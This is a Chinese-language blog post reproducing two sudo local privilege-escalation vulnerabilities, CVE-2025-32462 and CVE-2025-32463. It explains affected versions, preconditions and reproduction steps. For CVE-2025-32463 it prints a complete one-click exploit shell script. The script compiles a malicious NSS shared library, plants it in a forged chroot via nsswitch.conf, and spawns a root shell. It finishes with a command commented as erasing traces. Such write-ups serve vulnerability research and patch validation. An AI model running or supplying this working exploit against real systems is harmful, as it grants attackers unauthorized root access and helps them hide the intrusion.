CVE-2025-32462/32463Sudo提权
发表于:2025-07-20 | 分类: 漏洞复现

CVE-2025-32462

CVE-2025-32462-Linux sudo本地提权漏洞复现

漏洞详情

漏洞介绍

sudo 是 Linux 系统中用来管理权限的核心工具,用来授权用户临时获取 root 或者其他用户权限执行命令,既保障系统安全又便于操作。

CVE-2025-32462的Linux sudo 本地权限提升漏洞在于 sudo 的 -h(–host)选项存在缺陷,该选项本应与 -l(–list)配合使用来查询远程主机权限,但实际未严格限制其仅用于查询功能,导致攻击者可能结合命令执行或文件编辑操作实现本地提权

影响版本

  • 1.8.8 <= sudo <= 1.8.32
  • 1.9.0 <= sudo <= 1.9.17

利用条件

  • 本地低权限用户
  • 存在基于主机的权限规则:可以在/etc/sudoers中定义Host或者Host-Aias
  • 知道允许执行命令的远程主机名

漏洞复现

环境配置

  • Ubuntu20.0.4
  • Sudo1.8.31

可以通过以下命令查看sudo版本

1
sudo --version

在正常情况下可以看到,sudo -i会提示输入密码

漏洞复现

首先我们需要编辑sudoers文件,将以下内容添加进去

如果说没有权限,可以使用chmod加一个可写权限

1
2
3
4
//加可写权限
sudo chmod +w /etc/sudoers
//添加内容
ubuntu ci.test.local = NOPASSWD:ALL

此时使用以下命令就可以提权成功(就是要等一会)

1
2
sudo -h ci.test.local 命令
sudo -i -h ci.test.local

CVE-2025-32463

漏洞详情

漏洞介绍

从1.9.14版本的sudo后,就引用了-R(–chroot)选项,本意是用来让用户通过该选项,去指定chroot的目录下执行具有root权限的命令,保证执行环境的隔离。

Linux sudo chroot 权限提升漏洞(CVE-2025-32463)的原理主要就是利用sudo的一个-R/–chroot选项,该工具开始在评估sudoers文件之前解析chroot环境中的路径。这意味着攻击者可以诱骗Sudo读取伪造的/etc/nsswitch.conf文件——该文件会指示加载恶意共享库如libnss_/woot1337.so.2

影响版本

  • 1.9.14 <= sudo <= 1.9.17

**注意:**Sudo 的旧版本(<= 1.8.32)不会受到此攻击,因为在旧版本中并不存在 chroot 功能。

利用条件

只需要拥有:本地低权限用户的权限即可

漏洞核心

sudo在解析与sudoers的相匹配的命令之前,会先进入一个我们可以控制的chroot环境,也就是我们-R指定的目录下。而当我们在这个目录下写一些恶意的配置文件如:

  • /etc/nsswitch.conf
  • 恶意libnss_*.so动态链接库
  • /etc/passwd,/etc/group等

而当sudo解析用户、组、主机名等权限进行匹配glibc Nss(Name Service Switch)时,会触发我们在该目录下的恶意动态库,从而进行提权

漏洞流程如下:

  1. 在执行sudoers检查前,解析用户信息
  2. 用户信息的解析依赖于getpwnam()等glibc函数
  3. glibc根据/etc/nsswitch.conf加载libnss_*动态库
  4. 进入了可控的chroot环境,从而加载用户伪造的恶意库
  5. 恶意库在加载时,使用root权限执行代码
  6. 从而无需匹配sudoers,即可以root权限执行任何代码

漏洞复现

环境配置

  • ubuntu20.04
  • Sudo1.9.14

漏洞复现

手动复现

一键提权EXP

可以一键提权的EXP内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?} ##清理痕迹

上一篇:
CVE-2017-10271 WebLogic XMLDecoder反序列化
下一篇:
WebLogic T3 反序列化